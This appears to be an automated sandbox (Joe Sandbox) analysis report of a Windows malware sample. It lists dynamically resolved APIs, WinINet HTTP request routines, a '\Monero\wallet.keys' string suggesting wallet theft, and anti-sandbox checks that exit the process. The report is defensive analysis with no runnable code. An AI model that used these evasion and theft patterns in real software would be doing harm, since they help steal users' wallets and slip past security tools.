GetProcAddress.KERNEL32(74DD0000,01BE5DF0), ref: 00EBA049
GetProcAddress.KERNEL32(74DD0000,01BE5DD0), ref: 00EBA061
GetProcAddress.KERNEL32(74DD0000,01BE5CD0), ref: 00EBA079
GetProcAddress.KERNEL32(74DD0000,01BE5CB0), ref: 00EBA092
GetProcAddress.KERNEL32(74DD0000,01BFDD90), ref: 00EBA0AA
GetProcAddress.KERNEL32(74DD0000,01BFDDA8), ref: 00EBA0C2
GetProcAddress.KERNEL32(74DD0000,01BECAB8), ref: 00EBA0DB
GetProcAddress.KERNEL32(74DD0000,01BE5AB0), ref: 00EBA0F3
GetProcAddress.KERNEL32(74DD0000,01BFDF58), ref: 00EBA10B
GetProcAddress.KERNEL32(74DD0000,01BFDDC0), ref: 00EBA124
GetProcAddress.KERNEL32(74DD0000,01BFDFD0), ref: 00EBA13C
GetProcAddress.KERNEL32(74DD0000,01BFDE20), ref: 00EBA154
GetProcAddress.KERNEL32(74DD0000,01BE5B90), ref: 00EBA16D
GetProcAddress.KERNEL32(74DD0000,01BFE030), ref: 00EBA185
GetProcAddress.KERNEL32(74DD0000,01BFE060), ref: 00EBA19D
GetProcAddress.KERNEL32(74DD0000,01BFDE68), ref: 00EBA1B6
GetProcAddress.KERNEL32(74DD0000,01BFDFA0), ref: 00EBA1CE
GetProcAddress.KERNEL32(74DD0000,01BFDE80), ref: 00EBA1E6
GetProcAddress.KERNEL32(74DD0000,01BFE018), ref: 00EBA1FF
GetProcAddress.KERNEL32(74DD0000,01BFDEF8), ref: 00EBA217
GetProcAddress.KERNEL32(74DD0000,01BFDD78), ref: 00EBA22F
GetProcAddress.KERNEL32(74DD0000,01BFDDF0), ref: 00EBA248
GetProcAddress.KERNEL32(74DD0000,01BFB700), ref: 00EBA260
GetProcAddress.KERNEL32(74DD0000,01BFDDD8), ref: 00EBA278
GetProcAddress.KERNEL32(74DD0000,01BFDE50), ref: 00EBA291
GetProcAddress.KERNEL32(74DD0000,01BE5CF0), ref: 00EBA2A9
GetProcAddress.KERNEL32(74DD0000,01BFDE08), ref: 00EBA2C1
GetProcAddress.KERNEL32(74DD0000,01BE58F0), ref: 00EBA2DA
GetProcAddress.KERNEL32(74DD0000,01BFDE98), ref: 00EBA2F2
GetProcAddress.KERNEL32(74DD0000,01BFDEB0), ref: 00EBA30A
GetProcAddress.KERNEL32(74DD0000,01BE5950), ref: 00EBA323
GetProcAddress.KERNEL32(74DD0000,01BE5970), ref: 00EBA33B
LoadLibraryA.KERNEL32(01BFDEC8,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA34D
LoadLibraryA.KERNEL32(01BFDEE0,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA35E
LoadLibraryA.KERNEL32(01BFDF70,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA370
LoadLibraryA.KERNEL32(01BFDF10,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA382
LoadLibraryA.KERNEL32(01BFDF28,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA393
LoadLibraryA.KERNEL32(01BFDFB8,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA3A5
LoadLibraryA.KERNEL32(01BFDF40,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA3B7
LoadLibraryA.KERNEL32(01BFDFE8,?,00EB5EF3,00EC0AEB,?,?,?,?,?,?,?,?,?,?,00EC0AEA,00EC0AE7), ref: 00EBA3C8
GetProcAddress.KERNEL32(75290000,01BE57D0), ref: 00EBA3EA
GetProcAddress.KERNEL32(75290000,01BFE180), ref: 00EBA402
GetProcAddress.KERNEL32(75290000,01BF9E08), ref: 00EBA41A
GetProcAddress.KERNEL32(75290000,01BFE150), ref: 00EBA433
GetProcAddress.KERNEL32(75290000,01BE57F0), ref: 00EBA44B
GetProcAddress.KERNEL32(73B50000,01BECAE0), ref: 00EBA470
GetProcAddress.KERNEL32(73B50000,01BE56F0), ref: 00EBA489
GetProcAddress.KERNEL32(73B50000,01BEC9F0), ref: 00EBA4A1
GetProcAddress.KERNEL32(73B50000,01BFE270), ref: 00EBA4B9
GetProcAddress.KERNEL32(73B50000,01BFE1E0), ref: 00EBA4D2
GetProcAddress.KERNEL32(73B50000,01BE56D0), ref: 00EBA4EA
GetProcAddress.KERNEL32(73B50000,01BE59F0), ref: 00EBA502
GetProcAddress.KERNEL32(73B50000,01BFE090), ref: 00EBA51B
GetProcAddress.KERNEL32(752C0000,01BE5930), ref: 00EBA53C
GetProcAddress.KERNEL32(752C0000,01BE5730), ref: 00EBA554
GetProcAddress.KERNEL32(752C0000,01BFE2B8), ref: 00EBA56D
GetProcAddress.KERNEL32(752C0000,01BFE2A0), ref: 00EBA585
GetProcAddress.KERNEL32(752C0000,01BE5910), ref: 00EBA59D
GetProcAddress.KERNEL32(74EC0000,01BEC770), ref: 00EBA5C3
GetProcAddress.KERNEL32(74EC0000,01BEC608), ref: 00EBA5DB
GetProcAddress.KERNEL32(74EC0000,01BFE240), ref: 00EBA5F3
GetProcAddress.KERNEL32(74EC0000,01BE59D0), ref: 00EBA60C
GetProcAddress.KERNEL32(74EC0000,01BE5850), ref: 00EBA624
GetProcAddress.KERNEL32(74EC0000,01BEC838), ref: 00EBA63C
GetProcAddress.KERNEL32(75BD0000,01BFE258), ref: 00EBA662
GetProcAddress.KERNEL32(75BD0000,01BE5A10), ref: 00EBA67A
GetProcAddress.KERNEL32(75BD0000,01BF9E38), ref: 00EBA692
GetProcAddress.KERNEL32(75BD0000,01BFE138), ref: 00EBA6AB
GetProcAddress.KERNEL32(75BD0000,01BFE108), ref: 00EBA6C3
GetProcAddress.KERNEL32(75BD0000,01BE5990), ref: 00EBA6DB
GetProcAddress.KERNEL32(75BD0000,01BE5A30), ref: 00EBA6F4
GetProcAddress.KERNEL32(75BD0000,01BFE168), ref: 00EBA70C
GetProcAddress.KERNEL32(75BD0000,01BFE288), ref: 00EBA724
GetProcAddress.KERNEL32(75A70000,01BE5890), ref: 00EBA746
GetProcAddress.KERNEL32(75A70000,01BFE318), ref: 00EBA75E
GetProcAddress.KERNEL32(75A70000,01BFE2E8), ref: 00EBA776
GetProcAddress.KERNEL32(75A70000,01BFE198), ref: 00EBA78F
GetProcAddress.KERNEL32(75A70000,01BFE120), ref: 00EBA7A7
GetProcAddress.KERNEL32(75450000,01BE5710), ref: 00EBA7C8
GetProcAddress.KERNEL32(75450000,01BE5770), ref: 00EBA7E1
GetProcAddress.KERNEL32(75DA0000,01BE5750), ref: 00EBA802
GetProcAddress.KERNEL32(75DA0000,01BFE360), ref: 00EBA81A
GetProcAddress.KERNEL32(6F070000,01BE57B0), ref: 00EBA840
GetProcAddress.KERNEL32(6F070000,01BE5870), ref: 00EBA858
GetProcAddress.KERNEL32(6F070000,01BE5A50), ref: 00EBA870
GetProcAddress.KERNEL32(6F070000,01BFE2D0), ref: 00EBA889
GetProcAddress.KERNEL32(6F070000,01BE5810), ref: 00EBA8A1
GetProcAddress.KERNEL32(6F070000,01BE58B0), ref: 00EBA8B9
GetProcAddress.KERNEL32(6F070000,01BE59B0), ref: 00EBA8D2
GetProcAddress.KERNEL32(6F070000,01BE5A70), ref: 00EBA8EA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00EBA901
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00EBA917
GetProcAddress.KERNEL32(75AF0000,01BFE0A8), ref: 00EBA939
GetProcAddress.KERNEL32(75AF0000,01BF9E18), ref: 00EBA951
GetProcAddress.KERNEL32(75AF0000,01BFE300), ref: 00EBA969
GetProcAddress.KERNEL32(75AF0000,01BFE330), ref: 00EBA982
GetProcAddress.KERNEL32(75D90000,01BE5790), ref: 00EBA9A3
GetProcAddress.KERNEL32(6E360000,01BFE348), ref: 00EBA9C4
GetProcAddress.KERNEL32(6E360000,01BE5690), ref: 00EBA9DD
GetProcAddress.KERNEL32(6E360000,01BFE1B0), ref: 00EBA9F5
GetProcAddress.KERNEL32(6E360000,01BFE1C8), ref: 00EBAA0D

Strings

InternetSetOptionA, xrefs: 00EBA8F5
HttpQueryInfoA, xrefs: 00EBA90C

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: c8259cbf2507db9264ffa103abfefabc32109d76d99a4cff504325d03e9ca6e4
Instruction ID: 503ff1e3970c5ee650272bb2e15ba1dd664f8ce6113b461f6f9eb196c656a95b
Opcode Fuzzy Hash: c8259cbf2507db9264ffa103abfefabc32109d76d99a4cff504325d03e9ca6e4
Instruction Fuzzy Hash: 5C621CB56106009FD36CDFA8F98C9567BBAA74D701B10893AF939C3398DA7599C0CF60

Function 00EA48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EA4889
Part of subcall function 00EA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EA4899

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EA4965
StrCmpCA.SHLWAPI(?,01BFF7D0), ref: 00EA498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EA4B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00EC0DDE,00000000,?,?,00000000,?,",00000000,?,01BFF820), ref: 00EA4E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EA4E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EA4E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EA4E99
InternetCloseHandle.WININET(00000000), ref: 00EA4EFD
InternetCloseHandle.WININET(00000000), ref: 00EA4F15
HttpOpenRequestA.WININET(00000000,01BFF830,?,01BFF220,00000000,00000000,00400100,00000000), ref: 00EA4B65

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

InternetCloseHandle.WININET(00000000), ref: 00EA4F1F

Strings

", xrefs: 00EA4D83
------, xrefs: 00EA4CB9
", xrefs: 00EA4C42
------, xrefs: 00EA4A0D
------, xrefs: 00EA4B78

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 230775f955b93faf048fb851b44ea4e3215a783552858ed05a60c7de890d3135
Instruction ID: 486a9d290572015088fe8fda3052e1b095af7bb7e8268d38411e4274402d7087
Opcode Fuzzy Hash: 230775f955b93faf048fb851b44ea4e3215a783552858ed05a60c7de890d3135
Instruction Fuzzy Hash: 3412E972910218AACF14EB90DDA2FEEB7B9AF14300F5455B9F11672191EF702B48CF61

Function 00EB5760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EBAB30: lstrlen.KERNEL32(UO,?,?,00EA4F55,00EC0DDF), ref: 00EBAB3B
Part of subcall function 00EBAB30: lstrcpy.KERNEL32(00EC0DDF,00000000), ref: 00EBAB95

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EB5894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EB58F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EB5AA7

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EB5440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EB5478

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EB5510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EB5568
Part of subcall function 00EB5510: lstrlen.KERNEL32(00000000), ref: 00EB557F
Part of subcall function 00EB5510: StrStrA.SHLWAPI(00000000,00000000), ref: 00EB55B4
Part of subcall function 00EB5510: lstrlen.KERNEL32(00000000), ref: 00EB55D3
Part of subcall function 00EB5510: lstrlen.KERNEL32(00000000), ref: 00EB55FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EB59DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EB5B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EB5C5C
Sleep.KERNEL32(0000EA60), ref: 00EB5C6B

Strings

ERROR, xrefs: 00EB5B82
ERROR, xrefs: 00EB59CD
ERROR, xrefs: 00EB5A99
ERROR, xrefs: 00EB5C4E
ERROR, xrefs: 00EB58E3
ERROR, xrefs: 00EB5886

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 8599ea7f0d2c642b5800536f6b4adb774e3e36a82f3d4d471885a44fd19c5452
Instruction ID: 0317a53deb376d45f72524f163fd022433198ed00318d50f4eb39e233cc66911
Opcode Fuzzy Hash: 8599ea7f0d2c642b5800536f6b4adb774e3e36a82f3d4d471885a44fd19c5452
Instruction Fuzzy Hash: AEE14272910104AACF18FBA0D9A3EEF73BDAF54300F449578B52676195EF316B48CB62

Function 00EB19F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00EB1A15
ExitProcess.KERNEL32 ref: 00EB1A21

Strings

block, xrefs: 00EB1A07

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: c34a390b3b1219cbecb1786f9ffc53ed1f7cd4d5f963ba0e11897371d3bdfe8f
Instruction ID: 9fe50e5deec89e2dcae5f2222c13ee9e5fda9e151b828515f86d27aee20d91e2
Opcode Fuzzy Hash: c34a390b3b1219cbecb1786f9ffc53ed1f7cd4d5f963ba0e11897371d3bdfe8f
Instruction Fuzzy Hash: AC513C75A04209EBCB14DF94DAA4FEF77B9EF44714F5054A8E812BB280E770EA41CB51

Function 00EB6C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF3150), ref: 00EB9BF1
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF31E0), ref: 00EB9C0A
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF3000), ref: 00EB9C22
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF30F0), ref: 00EB9C3A
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF30A8), ref: 00EB9C53
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF9E28), ref: 00EB9C6B
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BE5BB0), ref: 00EB9C83
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BE5B70), ref: 00EB9C9C
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF3048), ref: 00EB9CB4
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF3108), ref: 00EB9CCC
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF3018), ref: 00EB9CE5
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF3030), ref: 00EB9CFD
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BE5AD0), ref: 00EB9D15
Part of subcall function 00EB9BB0: GetProcAddress.KERNEL32(74DD0000,01BF3240), ref: 00EB9D2E

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EA11D0: ExitProcess.KERNEL32 ref: 00EA1211

Part of subcall function 00EA1160: GetSystemInfo.KERNEL32(?), ref: 00EA116A
Part of subcall function 00EA1160: ExitProcess.KERNEL32 ref: 00EA117E

Part of subcall function 00EA1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EA112B
Part of subcall function 00EA1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00EA1132
Part of subcall function 00EA1110: ExitProcess.KERNEL32 ref: 00EA1143

Part of subcall function 00EA1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EA123E
Part of subcall function 00EA1220: ExitProcess.KERNEL32 ref: 00EA1294

Part of subcall function 00EB6A10: GetUserDefaultLangID.KERNEL32 ref: 00EB6A14

Part of subcall function 00EA1190: ExitProcess.KERNEL32 ref: 00EA11C6

Part of subcall function 00EB79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EA11B7), ref: 00EB7A10
Part of subcall function 00EB79E0: RtlAllocateHeap.NTDLL(00000000), ref: 00EB7A17
Part of subcall function 00EB79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EB7A2F

Part of subcall function 00EB7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EB7AA0
Part of subcall function 00EB7A70: RtlAllocateHeap.NTDLL(00000000), ref: 00EB7AA7
Part of subcall function 00EB7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00EB7ABF

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01BF9DB8,?,00EC10F4,?,00000000,?,00EC10F8,?,00000000,00EC0AF3), ref: 00EB6D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EB6D88
CloseHandle.KERNEL32(00000000), ref: 00EB6D99
Sleep.KERNEL32(00001770), ref: 00EB6DA4
CloseHandle.KERNEL32(?,00000000,?,01BF9DB8,?,00EC10F4,?,00000000,?,00EC10F8,?,00000000,00EC0AF3), ref: 00EB6DBA
ExitProcess.KERNEL32 ref: 00EB6DC2

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 71d76d088af8cf2b54b7bd9f390a5b5e82f4dbc7b2885b295a2c271c4dfb4c43
Instruction ID: b251a6d11e34ca4d6790c3b32fb7ab64290db68f25bbd9d24dcd982acd16f83f
Opcode Fuzzy Hash: 71d76d088af8cf2b54b7bd9f390a5b5e82f4dbc7b2885b295a2c271c4dfb4c43
Instruction Fuzzy Hash: 7131FA31A10204AADF04F7E0D897BEF77B9AF54300F586978F12276182EF7469458BA2

Function 00EB6D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01BF9DB8,?,00EC10F4,?,00000000,?,00EC10F8,?,00000000,00EC0AF3), ref: 00EB6D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EB6D88
CloseHandle.KERNEL32(00000000), ref: 00EB6D99
Sleep.KERNEL32(00001770), ref: 00EB6DA4
